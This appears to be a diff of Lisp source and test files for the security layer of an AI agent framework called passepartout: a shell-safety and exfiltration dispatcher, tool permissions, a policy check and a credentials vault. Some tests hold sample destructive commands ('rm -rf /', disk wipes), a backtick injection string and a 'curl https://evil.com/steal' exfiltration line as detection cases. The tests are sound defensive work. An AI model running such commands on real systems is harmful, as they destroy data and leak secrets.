(is (not (dispatcher-check-secret-path "README.org"))))
|
||||
|
||||
(test test-self-build-core-protection
|
||||
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
|
||||
;; Core paths are recognized
|
||||
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
|
||||
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
|
||||
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
|
||||
;; With SELF_BUILD_MODE=true, core writes produce approval-required
|
||||
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
|
||||
;; With SELF_BUILD_MODE=false (default), writes pass through
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type))))))
|
||||
|
||||
(test test-check-shell-safety
|
||||
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
||||
(is (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
||||
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
||||
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
||||
|
||||
(test test-shell-safety-severity-catastrophic
|
||||
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
|
||||
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
|
||||
(is (eq :catastrophic (getf r1 :severity)))
|
||||
(is (eq :catastrophic (getf r2 :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-dangerous
|
||||
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
|
||||
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
|
||||
(is (eq :dangerous (getf result :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-safe
|
||||
"Contract 3/v0.4.3: harmless commands return nil."
|
||||
(is (null (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
|
||||
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
|
||||
|
||||
(test test-dispatcher-severity-max
|
||||
"dispatcher-severity-max returns the higher tier."
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
|
||||
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
|
||||
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
|
||||
|
||||
(test test-check-privacy-tags
|
||||
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
||||
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
||||
(is (dispatcher-check-privacy-tags '("@personal")))
|
||||
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
||||
|
||||
(test test-check-network-exfil
|
||||
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
||||
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
||||
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
||||
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
||||
|
||||
;; ── v0.7.2 Tag Stack ──
|
||||
|
||||
(test test-tag-categories-load
|
||||
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
|
||||
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
|
||||
(passepartout::tag-categories-load)
|
||||
(let ((cats passepartout::*tag-categories*))
|
||||
(is (>= (length cats) 1))
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :warn (passepartout::tag-category-severity "@draft")))
|
||||
(is (eq :log (passepartout::tag-category-severity "@review"))))
|
||||
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
|
||||
|
||||
(test test-tag-category-severity-unknown
|
||||
"Contract v0.7.2: unknown tag returns nil."
|
||||
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
|
||||
|
||||
(test test-privacy-severity-block
|
||||
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@personal" . :block)))
|
||||
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
|
||||
|
||||
(test test-privacy-severity-warn
|
||||
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
|
||||
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
|
||||
|
||||
(test test-privacy-severity-nil
|
||||
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
|
||||
(setf passepartout::*tag-categories* nil)
|
||||
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
|
||||
|
||||
(test test-tag-trigger-record
|
||||
"v0.7.2: tag-trigger-record increments per-tag count."
|
||||
(clrhash passepartout::*tag-trigger-count*)
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@draft")
|
||||
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
|
||||
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
|
||||
(clrhash passepartout::*tag-trigger-count*))
|
||||
|
||||
(test test-tag-categories-privacy-fallback
|
||||
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
|
||||
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
|
||||
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
||||
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
|
||||
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
|
||||
(sb-posix:unsetenv "TAG_CATEGORIES")
|
||||
(passepartout::tag-categories-load)
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :block (passepartout::tag-category-severity "@draft")))
|
||||
;; Restore
|
||||
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
|
||||
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
|
||||
(passepartout::tag-categories-load)))
|
||||
|
||||
(test test-safe-tool-read-only-auto-approve
|
||||
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
|
||||
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "test-ro-tool"
|
||||
:description "Read-only test"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p t))
|
||||
(unwind-protect
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (not (member (getf result :type) '(:LOG :approval-required)))))
|
||||
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
|
||||
|
||||
(test test-safe-tool-write-still-checked
|
||||
"Contract v0.7.2: write tools still go through full dispatcher check."
|
||||
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "write-file"
|
||||
:description "File writer"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p nil))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (search "HITL" (getf (getf result :payload) :message)))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
|
||||
(if orig-tool
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
|
||||
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
|
||||
#+end_src* v0.8.0 Tests — Block Counts
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(test test-block-record-increments
|
||||
"Contract 10: dispatcher-block-record increments per-gate count."
|
||||
(clrhash passepartout::*dispatcher-block-counts*)
|
||||
(is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
|
||||
(is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
|
||||
(is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
|
||||
|
||||
(test test-block-counts-summary
|
||||
"Contract 11: dispatcher-block-counts-summary returns total and by-gate."
|
||||
(clrhash passepartout::*dispatcher-block-counts*)
|
||||
(passepartout::dispatcher-block-record :shell-safety)
|
||||
(passepartout::dispatcher-block-record :shell-safety)
|
||||
(passepartout::dispatcher-block-record :secret-path)
|
||||
(let ((s (passepartout::dispatcher-block-counts-summary)))
|
||||
(is (= 3 (getf s :total)))
|
||||
(let ((by-gate (getf s :by-gate)))
|
||||
(is (= 2 (cdr (assoc :shell-safety by-gate))))
|
||||
(is (= 1 (cdr (assoc :secret-path by-gate)))))))
|
||||
|
||||
(test test-block-counts-empty
|
||||
"Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
|
||||
(clrhash passepartout::*dispatcher-block-counts*)
|
||||
(let ((s (passepartout::dispatcher-block-counts-summary)))
|
||||
(is (= 0 (getf s :total)))
|
||||
(is (null (getf s :by-gate)))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-dispatcher-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:dispatcher-suite))
|
||||
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
|
||||
(in-suite dispatcher-suite)
|
||||
|
||||
(test test-wildcard-match
|
||||
"Contract 1: wildcard pattern * matches any characters."
|
||||
(is (wildcard-match "*.env" ".env"))
|
||||
(is (wildcard-match "*.env" "prod.env"))
|
||||
(is (wildcard-match "*credential*" "my-credential-file"))
|
||||
(is (wildcard-match "*.key" "id_rsa.key"))
|
||||
(is (not (wildcard-match "*.env" "config.yaml"))))
|
||||
|
||||
(test test-check-secret-path
|
||||
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
||||
(is (dispatcher-check-secret-path ".env"))
|
||||
(is (dispatcher-check-secret-path "id_rsa"))
|
||||
(is (not (dispatcher-check-secret-path "README.org"))))
|
||||
|
||||
(test test-self-build-core-protection
|
||||
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
|
||||
;; Core paths are recognized
|
||||
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
|
||||
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
|
||||
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
|
||||
;; With SELF_BUILD_MODE=true, core writes produce approval-required
|
||||
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
|
||||
;; With SELF_BUILD_MODE=false (default), writes pass through
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type))))))
|
||||
|
||||
(test test-check-shell-safety
|
||||
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
||||
(is (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
||||
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
||||
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
||||
|
||||
(test test-shell-safety-severity-catastrophic
|
||||
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
|
||||
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
|
||||
(is (eq :catastrophic (getf r1 :severity)))
|
||||
(is (eq :catastrophic (getf r2 :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-dangerous
|
||||
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
|
||||
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
|
||||
(is (eq :dangerous (getf result :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-safe
|
||||
"Contract 3/v0.4.3: harmless commands return nil."
|
||||
(is (null (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
|
||||
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
|
||||
|
||||
(test test-dispatcher-severity-max
|
||||
"dispatcher-severity-max returns the higher tier."
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
|
||||
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
|
||||
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
|
||||
|
||||
(test test-check-privacy-tags
|
||||
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
||||
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
||||
(is (dispatcher-check-privacy-tags '("@personal")))
|
||||
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
||||
|
||||
(test test-check-network-exfil
|
||||
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
||||
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
||||
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
||||
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
||||
|
||||
;; ── v0.7.2 Tag Stack ──
|
||||
|
||||
(test test-tag-categories-load
|
||||
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
|
||||
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
|
||||
(passepartout::tag-categories-load)
|
||||
(let ((cats passepartout::*tag-categories*))
|
||||
(is (>= (length cats) 1))
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :warn (passepartout::tag-category-severity "@draft")))
|
||||
(is (eq :log (passepartout::tag-category-severity "@review"))))
|
||||
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
|
||||
|
||||
(test test-tag-category-severity-unknown
|
||||
"Contract v0.7.2: unknown tag returns nil."
|
||||
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
|
||||
|
||||
(test test-privacy-severity-block
|
||||
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@personal" . :block)))
|
||||
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
|
||||
|
||||
(test test-privacy-severity-warn
|
||||
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
|
||||
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
|
||||
|
||||
(test test-privacy-severity-nil
|
||||
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
|
||||
(setf passepartout::*tag-categories* nil)
|
||||
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
|
||||
|
||||
(test test-tag-trigger-record
|
||||
"v0.7.2: tag-trigger-record increments per-tag count."
|
||||
(clrhash passepartout::*tag-trigger-count*)
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@draft")
|
||||
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
|
||||
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
|
||||
(clrhash passepartout::*tag-trigger-count*))
|
||||
|
||||
(test test-tag-categories-privacy-fallback
|
||||
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
|
||||
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
|
||||
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
||||
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
|
||||
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
|
||||
(sb-posix:unsetenv "TAG_CATEGORIES")
|
||||
(passepartout::tag-categories-load)
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :block (passepartout::tag-category-severity "@draft")))
|
||||
;; Restore
|
||||
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
|
||||
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
|
||||
(passepartout::tag-categories-load)))
|
||||
|
||||
(test test-safe-tool-read-only-auto-approve
|
||||
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
|
||||
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "test-ro-tool"
|
||||
:description "Read-only test"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p t))
|
||||
(unwind-protect
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (not (member (getf result :type) '(:LOG :approval-required)))))
|
||||
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
|
||||
|
||||
(test test-safe-tool-write-still-checked
|
||||
"Contract v0.7.2: write tools still go through full dispatcher check."
|
||||
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "write-file"
|
||||
:description "File writer"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p nil))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (search "HITL" (getf (getf result :payload) :message)))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
|
||||
(if orig-tool
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
|
||||
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
|
||||
#+end_src* v0.8.0 Tests — Block Counts
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(test test-block-record-increments
|
||||
"Contract 10: dispatcher-block-record increments per-gate count."
|
||||
(clrhash passepartout::*dispatcher-block-counts*)
|
||||
(is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
|
||||
(is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
|
||||
(is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
|
||||
|
||||
(test test-block-counts-summary
|
||||
"Contract 11: dispatcher-block-counts-summary returns total and by-gate."
|
||||
(clrhash passepartout::*dispatcher-block-counts*)
|
||||
(passepartout::dispatcher-block-record :shell-safety)
|
||||
(passepartout::dispatcher-block-record :shell-safety)
|
||||
(passepartout::dispatcher-block-record :secret-path)
|
||||
(let ((s (passepartout::dispatcher-block-counts-summary)))
|
||||
(is (= 3 (getf s :total)))
|
||||
(let ((by-gate (getf s :by-gate)))
|
||||
(is (= 2 (cdr (assoc :shell-safety by-gate))))
|
||||
(is (= 1 (cdr (assoc :secret-path by-gate)))))))
|
||||
|
||||
(test test-block-counts-empty
|
||||
"Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
|
||||
(clrhash passepartout::*dispatcher-block-counts*)
|
||||
(let ((s (passepartout::dispatcher-block-counts-summary)))
|
||||
(is (= 0 (getf s :total)))
|
||||
(is (null (getf s :by-gate)))))
|
||||
44
lisp/security-permissions.lisp
Normal file
44
lisp/security-permissions.lisp
Normal file
@@ -0,0 +1,44 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *permission-table* (make-hash-table :test 'equal))
|
||||
|
||||
(defun permission-set (tool-name level)
|
||||
"Sets the permission level for a tool."
|
||||
(setf (gethash (string-downcase (string tool-name)) *permission-table*) level))
|
||||
|
||||
(defun permission-get (tool-name)
|
||||
"Retrieves the permission level for a tool. Defaults to :ask."
|
||||
(gethash (string-downcase (string tool-name)) *permission-table* :ask))
|
||||
|
||||
(defskill :passepartout-security-permissions
|
||||
:priority 600
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-permissions-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:permissions-suite))
|
||||
|
||||
(in-package :passepartout-security-permissions-tests)
|
||||
|
||||
(def-suite permissions-suite :description "Verification of Tool Permissions")
|
||||
(in-suite permissions-suite)
|
||||
|
||||
(test test-permission-round-trip
|
||||
"Contract 1: permission-set stores a level; permission-get retrieves it."
|
||||
(permission-set "test-tool" :allow)
|
||||
(is (eq :allow (permission-get "test-tool")))
|
||||
;; Clean up
|
||||
(permission-set "test-tool" nil))
|
||||
|
||||
(test test-permission-default
|
||||
"Contract 2: unregistered tools default to :ask."
|
||||
(is (eq :ask (permission-get "never-registered-tool-xyz"))))
|
||||
|
||||
(test test-permission-case-insensitive
|
||||
"Contract 3: tool names are normalized to lowercase."
|
||||
(permission-set :CapitalTool :deny)
|
||||
(is (eq :deny (permission-get :capitaltool)))
|
||||
(permission-set "CapitalTool" nil))
|
||||
50
lisp/security-policy.lisp
Normal file
50
lisp/security-policy.lisp
Normal file
@@ -0,0 +1,50 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun policy-compliance-check (action context)
|
||||
"Enforces constitutional invariants on proposed actions."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (proto-get action :payload))
|
||||
(explanation (proto-get payload :explanation)))
|
||||
(if (and explanation (stringp explanation) (> (length explanation) 10))
|
||||
action
|
||||
(progn
|
||||
(log-message "POLICY VIOLATION: Action lacks sufficient explanation.")
|
||||
(list :type :LOG
|
||||
:payload (list :level :warn
|
||||
:text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning."))))))
|
||||
|
||||
(defskill :passepartout-security-policy
|
||||
:priority 500
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic #'policy-compliance-check)
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-policy-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:policy-suite))
|
||||
|
||||
(in-package :passepartout-security-policy-tests)
|
||||
|
||||
(def-suite policy-suite :description "Verification of the Constitutional Policy Layer")
|
||||
(in-suite policy-suite)
|
||||
|
||||
(test test-policy-passes-valid-explanation
|
||||
"Contract 1: action with sufficient explanation passes through unchanged."
|
||||
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today.")))
|
||||
(result (policy-compliance-check action nil)))
|
||||
(is (equal action result))))
|
||||
|
||||
(test test-policy-rejects-short-explanation
|
||||
"Contract 1: action with explanation ≤10 characters is rejected with :LOG."
|
||||
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi")))
|
||||
(result (policy-compliance-check action nil)))
|
||||
(is (eq :LOG (getf result :type)))
|
||||
(is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal))))
|
||||
|
||||
(test test-policy-rejects-missing-explanation
|
||||
"Contract 1: action without :explanation is rejected."
|
||||
(let* ((action '(:type :REQUEST :payload (:action :read)))
|
||||
(result (policy-compliance-check action nil)))
|
||||
(is (eq :LOG (getf result :type)))))
|
||||
43
lisp/security-validator.lisp
Normal file
43
lisp/security-validator.lisp
Normal file
@@ -0,0 +1,43 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun validator-protocol-check (msg)
|
||||
"Enforces structural schema compliance on protocol messages."
|
||||
(validate-communication-protocol-schema msg))
|
||||
|
||||
(defskill :passepartout-security-validator
|
||||
:priority 95
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(handler-case
|
||||
(progn (validator-protocol-check action) action)
|
||||
(error (c)
|
||||
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-validator-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:validator-suite))
|
||||
|
||||
(in-package :passepartout-security-validator-tests)
|
||||
|
||||
(def-suite validator-suite :description "Verification of the Protocol Validator")
|
||||
(in-suite validator-suite)
|
||||
|
||||
(test test-validator-passes-valid-message
|
||||
"Contract 1: a valid message passes protocol check."
|
||||
(let ((msg '(:type :EVENT :payload (:sensor :heartbeat))))
|
||||
(handler-case
|
||||
(progn
|
||||
(validator-protocol-check msg)
|
||||
(pass))
|
||||
(error (c)
|
||||
(fail "Validator rejected a valid message: ~a" c)))))
|
||||
|
||||
(test test-validator-rejects-missing-type
|
||||
"Contract 1: a message missing :type is rejected."
|
||||
(let ((msg '(:payload (:sensor :heartbeat))))
|
||||
(signals error
|
||||
(validator-protocol-check msg))))
|
||||
86
lisp/security-vault.lisp
Normal file
86
lisp/security-vault.lisp
Normal file
@@ -0,0 +1,86 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *vault-memory* (make-hash-table :test 'equal)
|
||||
"In-memory cache of sensitive credentials.")
|
||||
|
||||
(defun vault-get (provider &key (type :api-key))
|
||||
"Retrieves a credential from the vault or environment."
|
||||
(let* ((key (format nil "~a-~a" provider type))
|
||||
(val (gethash key *vault-memory*)))
|
||||
(if val
|
||||
val
|
||||
(let ((env-var (case provider
|
||||
(:gemini "GEMINI_API_KEY")
|
||||
(:openai "OPENAI_API_KEY")
|
||||
(:anthropic "ANTHROPIC_API_KEY")
|
||||
(:openrouter "OPENROUTER_API_KEY")
|
||||
(otherwise nil))))
|
||||
(when env-var (uiop:getenv env-var))))))
|
||||
|
||||
(defun vault-set (provider secret &key (type :api-key))
|
||||
"Stores a secret in the vault."
|
||||
(let ((key (format nil "~a-~a" provider type)))
|
||||
(setf (gethash key *vault-memory*) secret)))
|
||||
|
||||
(defun vault-get-secret (provider)
|
||||
"Retrieves a stored secret or token for a gateway provider."
|
||||
(vault-get provider :type :secret))
|
||||
|
||||
(defun vault-set-secret (provider secret)
|
||||
"Stores a secret or token for a gateway provider."
|
||||
(vault-set provider secret :type :secret))
|
||||
|
||||
(defskill :passepartout-security-vault
|
||||
:priority 600
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-vault-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:vault-suite))
|
||||
|
||||
(in-package :passepartout-security-vault-tests)
|
||||
|
||||
(def-suite vault-suite :description "Verification of the Credentials Vault")
|
||||
(in-suite vault-suite)
|
||||
|
||||
(test test-vault-round-trip
|
||||
"Contract 1: vault-set stores a value; vault-get retrieves it."
|
||||
(let ((test-key :vault-test-round-trip)
|
||||
(test-secret "secret-abc123"))
|
||||
(vault-set test-key test-secret)
|
||||
(is (string= test-secret (vault-get test-key)))
|
||||
;; Clean up
|
||||
(vault-set test-key nil)))
|
||||
|
||||
(test test-vault-missing-key
|
||||
"Contract 2: vault-get returns NIL for an unset, unknown provider."
|
||||
(is (null (vault-get :nonexistent-provider-xyz))))
|
||||
|
||||
(test test-vault-isolation
|
||||
"Contract 5: storing for provider A does not affect provider B."
|
||||
(vault-set :vault-prov-a "secret-a")
|
||||
